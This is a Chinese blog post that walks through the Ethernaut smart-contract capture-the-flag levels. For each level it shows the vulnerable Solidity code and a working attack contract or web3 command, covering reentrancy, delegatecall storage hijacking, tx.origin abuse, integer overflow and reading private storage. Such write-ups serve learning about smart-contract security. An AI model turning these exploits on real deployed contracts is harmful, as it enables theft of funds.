很长时间都没有更新博客了,一个是确实这一长段的时间学的东西都很杂乱,另一方面是考虑到之后的论文害怕被查重的问题,不是特别想写。加上实验室的各种杂事和项目东西也没时间玩玩比赛,成为了真正的只看 wp 的老年退役选手。
之前在学点前端开发的东西,egg+vue 相关的,找到一个论文的点,还没来得及落笔。这最近主要在搞搞区块链,主要点放在比特币、以太坊和超级账本上面把,想着把区块链和工控结合一下,不过结合点很局限,而且可能只有联盟链还能有些结合点,当然结合点又会引发很多新的问题,还得多看多学。这种偏理论的东西还是思维没打开。不知道有师傅有想法没有可以交流一下。
学习以太坊的时候把 zeppelin ethernaut 的题目刷了一下,不过那天一看又多了两个题目,干脆写个博客算了。
hello ethernaut
教程关没啥好说的,跟着提示一步步搞就行了
await contract.info()
// "You will find what you need in info1()."
await contract.info1()
// "Try info2(), but with "hello" as a parameter."
await contract.info2('hello')
// "The property infoNum holds the number of the next info method to call."
await contract.infoNum()
// 42
await contract.info42()
// "theMethodName is the name of the next method."
await contract.theMethodName()
// "The method name is method7123949."
await contract.method7123949()
// "If you know the password, submit it to authenticate()."
await contract.password()
// "ethernaut0"
await contract.authenticate('ethernaut0')
help
可以看帮助,contract
就是你申请创建的合约节点的对象。
Fallback
说明 fallback 函数的作用,当然这里说的fallback
函数不是本关 Fallback 合约的构造方法。
fallback 函数文档传送门
这一关的目的是要成为合约节点的 owner 以及把合约节点上 ETHER 全部转走。
看看合约内容
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallback is Ownable {
mapping(address => uint) public contributions;
function Fallback() public {
contributions[msg.sender] = 1000 * (1 ether);
}
function contribute() public payable {
require(msg.value < 0.001 ether);
contributions[msg.sender] += msg.value;
if(contributions[msg.sender] > contributions[owner]) {
owner = msg.sender;
}
}
function getContribution() public view returns (uint) {
return contributions[msg.sender];
}
function withdraw() public onlyOwner {
owner.transfer(this.balance);
}
function() payable public {
require(msg.value > 0 && contributions[msg.sender] > 0);
owner = msg.sender;
}
}
成为 owner 有两种办法
- 通过
contribute
向它转1000 ether
,而且每次转账要小于0.001 ether
,显然不行。 - 通过 fallback 函数只要向它转账就行了。
为了满足 fallback 的 contributions[msg.sender] > 0
要先调用一次 contribute 函数
如下:
await contract.contribute({value: 1})
await contract.sendTransaction({value: 1})
// 上两步成为了 owner,下一步把合约的钱转走
await contract.withdraw()
然后 submit 就通过了。
Fallout
这一关的目的也是成为 owner,源码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract Fallout is Ownable {
mapping (address => uint) allocations;
/* constructor */
function Fal1out() public payable {
owner = msg.sender;
allocations[owner] = msg.value;
}
function allocate() public payable {
allocations[msg.sender] += msg.value;
}
function sendAllocation(address allocator) public {
require(allocations[allocator] > 0);
allocator.transfer(allocations[allocator]);
}
function collectAllocations() public onlyOwner {
msg.sender.transfer(this.balance);
}
function allocatorBalance(address allocator) public view returns (uint) {
return allocations[allocator];
}
}
这一关就有点无聊了,注意函数名Fal1out()
,不是Fallout()
,所以不是构造函数,直接调用就可以了
await contract.Fal1out({"value":1})
Coin Flip
胜利条件是连续赢 10 次硬币翻转就行了。
pragma solidity ^0.4.18;
contract CoinFlip {
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
function CoinFlip() public {
consecutiveWins = 0;
}
function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(block.blockhash(block.number-1));
if (lastHash == blockValue) {
revert();
}
lastHash = blockValue;
uint256 coinFlip = blockValue / FACTOR;
bool side = coinFlip == 1 ? true : false;
if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}
可以看到这里正反面由上一个 block 的 hash 与一个固定值计算得出,那这种随机是不安全的,我们可以部署一个attack.sol
,提示也提示了用 remix。
pragma solidity ^0.4.18;
contract CoinFlip {
function CoinFlip() public {}
function flip(bool _guess) public returns (bool) {}
}
contract attack{
address game;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
constructor(address param){
game=param;
}
function go() public{
uint256 blockValue = uint256(block.blockhash(block.number-1));
uint256 coinFlip = blockValue / FACTOR;
bool side = (coinFlip==1);
CoinFlip a = CoinFlip(game);
a.flip(side);
}
}
运行 10 次 go 就可以了。生成可靠的随机数可能很棘手,目前还没有生成它们的本地方法,因为在智能合约中使用的所有内容都是公开可见的,包括标记为私有的局部变量和状态变量。
telephone
目的也是要成为合约的所有者。
pragma solidity ^0.4.18;
contract Telephone {
address public owner;
function Telephone() public {
owner = msg.sender;
}
function changeOwner(address _owner) public {
if (tx.origin != msg.sender) {
owner = _owner;
}
}
}
这里区分一下tx.origin
和msg.sender
,
给定这样一个场景如:用户通过合约 A 调合约 B.
此时
- 对于合约 A :
tx.origin
和msg.sender
都是用户。 - 对于合约 B :
tx.origin
是用户 .msg.sender
是合约 A
origin ,字面意思根源,起源。
所以,这里我们部署一个合约内容如下
pragma solidity ^0.4.18;
contract Telephone {
function Telephone() public {}
function changeOwner(address _owner) public {}
}
contract attack{
address target;
constructor(address param){
target = param;
}
function go(){
Telephone a = Telephone(target);
a.changeOwner(msg.sender);
}
}
然后攻击者调用 go 函数就可以了。
token
这个就是经典的整形溢出的问题了。
pragma solidity ^0.4.18;
contract Token {
mapping(address => uint) balances;
uint public totalSupply;
function Token(uint _initialSupply) public {
balances[msg.sender] = totalSupply = _initialSupply;
}
function transfer(address _to, uint _value) public returns (bool) {
require(balances[msg.sender] - _value >= 0);
balances[msg.sender] -= _value;
balances[_to] += _value;
return true;
}
function balanceOf(address _owner) public view returns (uint balance) {
return balances[_owner];
}
}
这里原理是利用输入的 value 大于 20,导致减完之后就会为负,溢出成为一个很大的正整数就可以了。
Delegation
这个题有点疑问,不过我只是觉得我的方法没错并且本地也可以成功,应该哪儿有点问题。
我自己测试代码如下:
pragma solidity ^0.4.18;
contract Delegate {
address public owner;
function Delegate(address _owner) public {
owner = _owner;
}
function pwn() public {
owner = msg.sender;
}
}
contract Delegation {
address public owner;
Delegate delegate;
function Delegation(address _delegateAddress) public {
delegate = Delegate(_delegateAddress);
owner = msg.sender;
}
function() public {
if(delegate.delegatecall(msg.data)) {
this;
}
}
}
contract attack{
function go(address param){
param.call(bytes4(keccak256("pwn()")));
}
}
我依次部署Delegate
和Delegation
合约,然后再部署 attack 合约在地址 A,然后调用 go 函数传入Delegation
合约的地址,能够成功修改其 owner,但是却无法修改题目服务器的 owner。
这里其实主要思路就是 fallback 的触发条件:
- 一是如果合约在被调用的时候,找不到对方调用的函数,就会自动调用 fallback 函数
- 二是只要是合约收到别人发送的 Ether 且没有数据,就会尝试执行 fallback 函数,此时
fallback
需要带有payable 标记
。否则,合约就会拒绝这 Ether。
所以直接向实例的地址发起调用一个 pwn 函数的交易就可以了,然后就会自动进入到 fallback 函数体。这里调用需要用method id
(函数选择器),比如 pwn 函数的method id
就是keccak256("pwn()"))
取前四个字节,在 web3 中 sha3 就是 keccak256,所以是web3.sha3("pwn()").substr(0,10)
。
所以最后结果就是
data=web3.sha3("pwn()").slice(0,10);
await web3.eth.sendTransaction({from:player,to:instance,data:data,gas: 1111111},function(x,y){console.error(y)});
Force
这里我们在上一关提到了关于接受转账的话要 fallback 函数为 payable,否则会拒绝收到的转账,但是有一个特例是无法拒绝其他合约通过调用selfdestruct
自毁之后的资金转移。
构造一个:
pragma solidity ^0.4.18;
contract attack{
function () payable{
}
function go(address param){
selfdestruct(param);
}
}
然后部署完了给这个合约转点 ETHER,之后调用 go 函数即可。
Vault
参考链接:
https://solidity.readthedocs.io/en/v0.4.21/contracts.html#visibility-and-getters
https://hackernoon.com/your-private-solidity-variable-is-not-private-save-it-before-it-becomes-public-52a723f29f5e
题目代码如下:
pragma solidity ^0.4.18;
contract Vault {
bool public locked;
bytes32 private password;
function Vault(bytes32 _password) public {
locked = true;
password = _password;
}
function unlock(bytes32 _password) public {
if (password == _password) {
locked = false;
}
}
private 变量不能被别的合约访问,但是区块链上的信息是完全公开的,可以通过 web3 的getStorage
函数获取到。1 表示目标合约的第二个变量
web3.eth.getStorageAt(address,1,function(x,y){console.info(y);});
之后 unlock 就可以了。
King
题目代码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract King is Ownable {
address public king;
uint public prize;
function King() public payable {
king = msg.sender;
prize = msg.value;
}
function() external payable {
require(msg.value >= prize || msg.sender == owner);
king.transfer(msg.value);
king = msg.sender;
prize = msg.value;
}
}
开始还以为是一定要选手账户成为 king,后来才知道搞个别的账户成为 king 也可以,只需要阻止level address
成为 king 就可以了。
那就写个合约,不接受最后的 transfer 就可以了,这样就会导致 contract 合约上的 tranfer 异常从而执行中断。要想不接受转账就很简单了,不写带 payable 的 fallback 函数、fallback 里面利用 require() 抛出异常或者 revert() 直接返回就可以了。
pragma solidity ^0.4.18;
contract attack{
constructor(address param) public payable{
param.call.gas(10000000).value(msg.value)();
}
}
Re-entrancy (X)
题目代码如下:
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
}
比较典型的DAO
攻击事件的例子了。
本地私有链成功了,但是测试网死活失败的,有点难受。
大概攻击脚本如下。
在测试网里面,一旦调用 hack 函数了,就是账户里面也没有记录,钱也到对面账户里去了,人才两空 23333.
pragma solidity ^0.4.18;
contract Reentrance {
mapping(address => uint) public balances;
function donate(address _to) public payable {
balances[_to] += msg.value;
}
function balanceOf(address _who) public view returns (uint balance) {
return balances[_who];
}
function withdraw(uint _amount) public {
if(balances[msg.sender] >= _amount) {
if(msg.sender.call.value(_amount)()) {
_amount;
}
balances[msg.sender] -= _amount;
}
}
function() public payable {}
constructor() payable
{
}
}
contract Attack {
address instance_address;
Reentrance target ;
uint cnt=2;
function Attack(address param) payable{
instance_address = param;
target = Reentrance(instance_address);
}
function donate() public payable {
target.donate.value(0.5 ether)(this);
}
function () public payable {
while(cnt>0){
cnt--;
target.withdraw(0.5 ether);
}
}
function hack() public {
target.withdraw(0.5 ether);
}
function get_balance() public view returns(uint) {
return target.balanceOf(this);
}
function my_eth_bal() public view returns(uint) {
return address(this).balance;
}
function ins_eth_bal() public view returns(uint) {
return instance_address.balance;
}
}
Elevator
题目代码如下:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
bool public top;
uint public floor;
function goTo(uint _floor) public {
Building building = Building(msg.sender);
if (! building.isLastFloor(_floor)) {
floor = _floor;
top = building.isLastFloor(floor);
}
}
}
伪造一个合约在被调用isLastFloor
,第一次返回 false,第二次返回 true 就可以了。
如下:
pragma solidity ^0.4.18;
interface Building {
function isLastFloor(uint) view public returns (bool);
}
contract Elevator {
function goTo(uint _floor) public {}
}
contract attack is Building{
uint cnt=0;
function isLastFloor(uint) view public returns (bool){
if(cnt == 0){
cnt++;
return false;
}
else
return true;
}
function go(address param){
Elevator a = Elevator(param);
a.goTo(1);
}
}
Privacy
题目代码如下:
pragma solidity ^0.4.18;
contract Privacy {
bool public locked = true;
uint256 public constant ID = block.timestamp;
uint8 private flattening = 10;
uint8 private denomination = 255;
uint16 private awkwardness = uint16(now);
bytes32[3] private data;
function Privacy(bytes32[3] _data) public {
data = _data;
}
function unlock(bytes16 _key) public {
require(_key == bytes16(data[2]));
locked = false;
}
/*
A bunch of super advanced solidity algorithms...
,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`
.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,
*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^ ,---/V\
`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*. ~|__(o.o)
^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*'^`*.,*' UU UU
*/
}
要求解锁 locked 就可以了,那很简单,直接利用 web3 的 api,web3.eth.getStorageAt
就可以,依次获取
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 0,function(x,y){console.info(y);})
0x000000000000000000000000000000000000000000000000000000d80cff0a01
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 1,function(x,y){console.info(y);})
0x47dac1a874d4d1f852075da0347307d6fcfef2a6ca6804ffda7b54e02df5c359
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 2,function(x,y){console.info(y);})
0x06080b7822355f604ab68183a2f2a88e2b5be84a34e590605503cf17aec66668
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 3,function(x,y){console.info(y);})
0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
web3.eth.getStorageAt("0x605d336f17fc3a2e50e3f290977525a0f6a5fcc0", 4,function(x,y){console.info(y);})
0x0000000000000000000000000000000000000000000000000000000000000000
....
根据 solidity 文档中的变量存储原则,evm 每一次处理 32 个字节,而不足 32 字节的变量相互共享并补齐 32 字节。
那么我们简单分析下题目中的变量们:
bool public locked = true; //1 字节 01
uint256 public constant ID = block.timestamp; //32 字节
uint8 private flattening = 10; //1 字节 0a
uint8 private denomination = 255;//1 字节 ff
uint16 private awkwardness = uint16(now);//2 字节
bytes32[3] private data;
那么第一个 32 字节就是由locked
、flattening
、denomination
、awkwardness
组成,另外由于常量是无需存储的,所以从第二个 32 字节起就是 data。
那么 data[2] 就是0xd42c0162aa0829887dbd2741259c97ca54fb1a26da7098de6a3697d6c4663b93
,
注意这里进行了强制类型转换将 data[2] 转换成了 bytes16,那么我们取前 16 字节即可。
执行 unlock 即可。
Gatekeeper One (X)
题目代码如下:
pragma solidity ^0.4.18;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
很绝望,又是一个本地和私有链都能成功,远程就是成功不了。
分析下代码,主要就是通过三个验证:gateOne
:这个通过部署一个中间恶意合约即可绕过gateTwo
:稍微难一点,我觉我远程成功不了的原因就在这里。msg.gas
指的是运行到当前指令还剩余的 gas 量,要能整除 8191。那我们只需要81910+x
,x 为从开始到运行完msg.gas
所消耗的 gas。网上的 wp 通篇一律的都是x=215
,但是我javascript VM
环境下调出来是x=181
。但是两个答案都是错误的。
那我更换一下编译器,测出来如下:
0.4.13~0.4.17 : x=160
0.4.18~0.4.21 : x=181
0.4.22~0.4.25 : x=324
然后把这些都试过了,不出意外的都失败了。最后贴一下代码
pragma solidity ^0.4.17;
contract GatekeeperOne {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
require(msg.gas % 8191 == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint32(_gateKey) == uint16(_gateKey));
require(uint32(_gateKey) != uint64(_gateKey));
require(uint32(_gateKey) == uint16(tx.origin));
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
GatekeeperOne a;
bytes8 _gateKey=bytes8(msg.sender) & 0xffffffff0000ffff;
function attack(address instance) payable{
a=GatekeeperOne(instance);
}
function test(){
a.call.gas(10000)(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
function hack(){
a.call.gas(81910+324)(bytes4(keccak256("enter(bytes8)")),_gateKey);
}
}
Gatekeeper Two
题目代码
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
和上一题类似,gateOne
不多说了。gateTwo
的话题干给了提示黄皮书第 7 节:
(4) 的引用为
所以很明确了,初始化的时候合约还没有完全创建,代码大小是为 0,那就意味着我们把攻击的代码写到合约的构造函数里面去就可以了。
至于第三个直接异或就可以了。
pragma solidity ^0.4.18;
contract GatekeeperTwo {
address public entrant;
modifier gateOne() {
require(msg.sender != tx.origin);
_;
}
modifier gateTwo() {
uint x;
assembly { x := extcodesize(caller) }
require(x == 0);
_;
}
modifier gateThree(bytes8 _gateKey) {
require(uint64(keccak256(msg.sender)) ^ uint64(_gateKey) == uint64(0) - 1);
_;
}
function enter(bytes8 _gateKey) public gateOne gateTwo gateThree(_gateKey) returns (bool) {
entrant = tx.origin;
return true;
}
}
contract attack{
function attack(address param){
GatekeeperTwo a = GatekeeperTwo(param);
bytes8 _gateKey =bytes8((uint64(0) - 1) ^ uint64(keccak256(this)));
a.enter(_gateKey);
}
}
Naught Coin
题目代码如下:
pragma solidity ^0.4.18;
import 'zeppelin-solidity/contracts/token/ERC20/StandardToken.sol';
contract NaughtCoin is StandardToken {
string public constant name = 'NaughtCoin';
string public constant symbol = '0x0';
uint public constant decimals = 18;
uint public timeLock = now + 10 years;
uint public INITIAL_SUPPLY = 1000000 * (10 ** decimals);
address public player;
function NaughtCoin(address _player) public {
player = _player;
totalSupply_ = INITIAL_SUPPLY;
balances[player] = INITIAL_SUPPLY;
Transfer(0x0, player, INITIAL_SUPPLY);
}
function transfer(address _to, uint256 _value) lockTokens public returns(bool) {
super.transfer(_to, _value);
}
// Prevent the initial owner from transferring tokens until the timelock has passed
modifier lockTokens() {
if (msg.sender == player) {
require(now > timeLock);
_;
} else {
_;
}
}
}
题目要求是把账户的所有钱转光。
但是我们简单看一下逻辑,如果我们要转走所有的钱需要 10 年后才行,暂时也没有发现逻辑中有问题的地方。
既然子合约没有什么问题,那我们看看 import 的父合约
StandardToken.sol,其其实根据 ERC20 的标准我们也知道,转账有两个函数,一个transfer
一个transferFrom
,题目中代码只重写了transfer
函数,那未重写transferFrom
就是一个可利用的点了。直接看看StandardToken.sol
代码:
contract StandardToken {
using ERC20Lib for ERC20Lib.TokenStorage;
ERC20Lib.TokenStorage token;
...
function transfer(address to, uint value) returns (bool ok) {
return token.transfer(to, value);
}
function transferFrom(address from, address to, uint value) returns (bool ok) {
return token.transferFrom(from, to, value);
}
...
}
跟进ERC20Lib.sol
:
library ERC20Lib {
...
function transfer(TokenStorage storage self, address _to, uint _value) returns (bool success) {
self.balances[msg.sender] = self.balances[msg.sender].minus(_value);
self.balances[_to] = self.balances[_to].plus(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(TokenStorage storage self, address _from, address _to, uint _value) returns (bool success) {
var _allowance = self.allowed[_from](msg.sender);
self.balances[_to] = self.balances[_to].plus(_value);
self.balances[_from] = self.balances[_from].minus(_value);
self.allowed[_from](msg.sender) = _allowance.minus(_value);
Transfer(_from, _to, _value);
return true;
}
...
function approve(TokenStorage storage self, address _spender, uint _value) returns (bool success) {
self.allowed[msg.sender](_spender) = _value;
Approval(msg.sender, _spender, _value);
return true;
}
}
可以直接调用这个transferFrom
即可了。但是transferFrom
有一步权限验证,要验证这个msg.sender
是否被_from
(实际上在这里的情景的就是自己是否给自己授权了),那么我们同时还可以调用 approve 给自己授权。
所以如下操作即可:
await contract.approve(player,1000000*(10*18))
await contract.transferFrom(player,instance,1000000*(10**18));
Preservation (X)
题目代码如下:
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
这里就是主要利用delegatecall
函数的特性,先介绍下:
delegatecall 用来调用其他合约、库的函数,比如 a 合约中调用 b 合约的函数,执行该函数使用的 storage 是 a 的。举个例子:
contract a{
uint public x1;
uint public x2;
function funca(address param){
param.delegate(bytes4(keccak256("funcb()")));
}
}
contract b{
uint public y1;
uint public y2;
function funcb(){
y1=1;
y2=2;
}
}
上述合约中,一旦在 a 中调用了 b 的funcb
函数,那么对应 a 中 x1 就会等于,x2 就会等于 2。
在这个过程中实际 b 合约的funcb
函数是把 storage 里面的slot 1
的值更换为了 1,把slot 2
的值更换为了 2,那么由于 delegatecall 的原因这里修改的是 a 的 storage,对应就是修改了 x1,x2。
所以这个题就很好办了,我们调用Preservation
的setFirstTime
函数时候实际通过 delegatecall 执行了LibraryContract
的setTime
函数,修改了slot 1
,也就是修改了timeZone1Library
变量。
这样,我们第一次调用setFirstTime
将timeZone1Library
变量修改为我们的恶意合约的地址,第二次调用setFirstTime
就可以执行我们的任意代码了。
如下:
pragma solidity ^0.4.23;
contract Preservation {
// public library contracts
address public timeZone1Library;
address public timeZone2Library;
address public owner;
uint storedTime;
// Sets the function signature for delegatecall
bytes4 constant setTimeSignature = bytes4(keccak256("setTime(uint256)"));
constructor(address _timeZone1LibraryAddress, address _timeZone2LibraryAddress) public {
timeZone1Library = _timeZone1LibraryAddress;
timeZone2Library = _timeZone2LibraryAddress;
owner = msg.sender;
}
// set the time for timezone 1
function setFirstTime(uint _timeStamp) public {
timeZone1Library.delegatecall(setTimeSignature, _timeStamp);
}
// set the time for timezone 2
function setSecondTime(uint _timeStamp) public {
timeZone2Library.delegatecall(setTimeSignature, _timeStamp);
}
}
// Simple library contract to set the time
contract LibraryContract {
// stores a timestamp
uint storedTime;
function setTime(uint _time) public {
storedTime = _time;
}
}
contract attack{
address public timeZone1Library;
address public timeZone2Library;
address public owner;
function setTime(uint _time) public {
timeZone1Library = address(_time);
timeZone2Library = address(_time);
owner=address(_time);
}
}
- 执行
contract.setFirstTime(addr)
,其中addr
为attack
合约的地址
- 执行
- 再执行
contract.setFirstTime(player)
即可成功修改 owner 为 player。
- 再执行
私有链成功了,但是题目服务器没有成功。
Locked
代码如下
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
这个就是典型的利用 struct 默认是 storage 的题目,具体介绍看上一篇博客即可。
函数中声明的newRecord
,修改name 和 mappedAddress
实际分别改的是unlocked
和bytes32 的 name
。所以我们把 name 对应的slot 1
的值改成 1 就可以了。攻击合约如下:
pragma solidity ^0.4.23;
// A Locked Name Registrar
contract Locked {
bool public unlocked = false; // registrar locked, no name updates
struct NameRecord { // map hashes to addresses
bytes32 name; //
address mappedAddress;
}
mapping(address => NameRecord) public registeredNameRecord; // records who registered names
mapping(bytes32 => address) public resolve; // resolves hashes to addresses
function register(bytes32 _name, address _mappedAddress) public {
// set up the new NameRecord
NameRecord newRecord;
newRecord.name = _name;
newRecord.mappedAddress = _mappedAddress;
resolve[_name] = _mappedAddress;
registeredNameRecord[msg.sender] = newRecord;
require(unlocked); // only allow registrations if contract is unlocked
}
}
contract attack{
function go(address param){
Locked a = Locked(param);
a.register(bytes32(1),address(msg.sender));
}
}
Recovery
代码如下:
pragma solidity ^0.4.23;
contract Recovery {
//generate tokens
function generateToken(string _name, uint256 _initialSupply) public {
new SimpleToken(_name, msg.sender, _initialSupply);
}
}
contract SimpleToken {
// public variables
string public name;
mapping (address => uint) public balances;
// constructor
constructor(string _name, address _creator, uint256 _initialSupply) public {
name = _name;
balances[_creator] = _initialSupply;
}
// collect ether in return for tokens
function() public payable {
balances[msg.sender] = msg.value*10;
}
// allow transfers of tokens
function transfer(address _to, uint _amount) public {
require(balances[msg.sender] >= _amount);
balances[msg.sender] -= _amount;
balances[_to] = _amount;
}
// clean up after ourselves
function destroy(address _to) public {
selfdestruct(_to);
}
}
题目简单来说就是已知一个Recovery
合约地址,恢复一下它创建的SimpleToken
合约的地址。
Method 1
这个我们直接看黄皮书第七节就可以了:
关于nonce
的说明在第四节
简单来说,我们可以总结如下:
new_addr = address(keccak256(RLP([sender_address,nonce])))
nonce 这里很容易我们可以分析得到是1
nonce=0
一般是智能合约自己创造的事件
sender_address
就是我们得到的题目的instance
的地址,这里我的是0x80e71134fa32b2bb01d6e611e48016aef574be40
。
根据 RLP 编码的官方文档,我们拿到了编码的 py 脚本如下:
def rlp_encode(input):
if isinstance(input,str):
if len(input) == 1 and ord(input) < 0x80: return input
else: return encode_length(len(input), 0x80) + input
elif isinstance(input,list):
output = ''
for item in input: output += rlp_encode(item)
return encode_length(len(output), 0xc0) + output
def encode_length(L,offset):
if L < 56:
return chr(L + offset)
elif L < 256**8:
BL = to_binary(L)
return chr(len(BL) + offset + 55) + BL
else:
raise Exception("input too long")
def to_binary(x):
if x == 0:
return ''
else:
return to_binary(int(x / 256)) + chr(x % 256)
所以我们计算如下:
print rlp_encode(["80e71134fa32b2bb01d6e611e48016aef574be40".decode('hex'),"01".decode('hex')]).encode('hex')
'''
$ python /tmp/rlp_encode.py
d69480e71134fa32b2bb01d6e611e48016aef574be4001
'''
拿到结果d69480e71134fa32b2bb01d6e611e48016aef574be4001
然后拿到 solidity 里面计算地址
pragma solidity ^0.4.18;
contract test{
function func() view returns (address){
return address(keccak256(0xd69480e71134fa32b2bb01d6e611e48016aef574be4001));
}
}
得到结果0xDD48155C966c68cc594a58ce84b67ce9B5CA058E
,这就是我们恢复出来的合约的地址,那么我们可以直接利用 remix 的at address
功能
然后再调用合约的destroy
函数就能把所有的钱转回去,从而解决该题目。
Method 2
当然我们还有更简单的办法:
要知道区块链上所有的信息都是公开的,我们直接上 ropsten 测试网的官方网页查就可以了,搜索 instance 地址0x80e71134fa32b2bb01d6e611e48016aef574be40
,成功查到:
MagicNumber
参考链接:https://www.jianshu.com/p/d9137e87c9d3
参考链接:https://medium.com/coinmonks/ethernaut-lvl-19-magicnumber-walkthrough-how-to-deploy-contracts-using-raw-assembly-opcodes-c50edb0f71a2
这个题就是部署一个合约要求在被调用whatIsTheMeaningOfLife()
函数时返回0x42
就可以了。
但是有一个要求是不能超过 10 个 opcode。
这个题目中的有些问题我目前还不是特别清楚还需要研究,不过勉强能把这一关给过了。之后会单写篇文章来解释。
合约的 bytecode(字节码) 一般分为三个部分:(摘自参考链接)
// 部署代码,创建合约时运行部署代码,目的是创建合约并把合约代码 copy 过去
60606040523415600e57600080fd5b5b603680601c6000396000f300
// 合约代码,即实际执行逻辑,代码的主要部分,让它返回 0x42 并且不超过 10 个 opcode 就可以了。
60606040525b600080fd00
// Auxdata,源码的加密指纹,用来验证。可选。
a165627a7a723058209747525da0f525f1132dde30c8276ec70c4786d4b08a798eda3c8314bf796cc30029
先构造合约代码,实际上只需要这样子的合约代码就够了:
600a600c600039600a6000f3604260805260206080f3
Alien Codex
pragma solidity ^0.4.24;
import 'zeppelin-solidity/contracts/ownership/Ownable.sol';
contract AlienCodex is Ownable {
bool public contact;
bytes32[] public codex;
modifier contacted() {
assert(contact);
_;
}
function (bytes32[] _firstContactMessage) public {
assert(_firstContactMessage.length > 2**200);
contact = true;
}
function record(bytes32 _content) contacted public {
codex.push(_content);
}
function retract() contacted public {
codex.length--;
}
function revise(uint i, bytes32 _content) contacted public {
codex[i] = _content;
}
}
这里我们首先看到无论调用按个函数都需要过contacted
函数修饰器。所以首先就要使contact=true
,那么就是要解决make_contact
中的这个问题。
直接看 doc
https://solidity.readthedocs.io/en/v0.4.25/abi-spec.html#use-of-dynamic-types
这里描述了动态数组类型的 abi 标准,我们只需要构造长度的值就可以了。详细的构造在后面。
接下来我们需要修改 owner,很容易知道,owner 存储在slot 0
里面,和contact
在同一个 slot,但是我们先简单看下代码,只知道我们可以操作 codex 的值,codex 作为一个不定长的数组,我们根据 doc
https://solidity.readthedocs.io/en/v0.4.25/miscellaneous.html#layout-of-state-variables-in-storage
可以知道实际上在slot 1
位置上存储的是 codex 的 length,而 codex 的实际内容存储在keccak256(bytes32(1))
开始的位置。
Keccak-256 紧密打包的,意思是说参数不会补位,多个参数也会直接连接在一起。所以这里要用
bytes32(1)
而不是1
.
这样我们就知道了 codex 实际的存储的 slot,因为总共有2**256
个 slot,我们想要修改slot 0
,假设 codex 实际所在slot x
, 那么当我们修改codex[y](y=2**256-x)
时就能因为溢出修改到slot 0
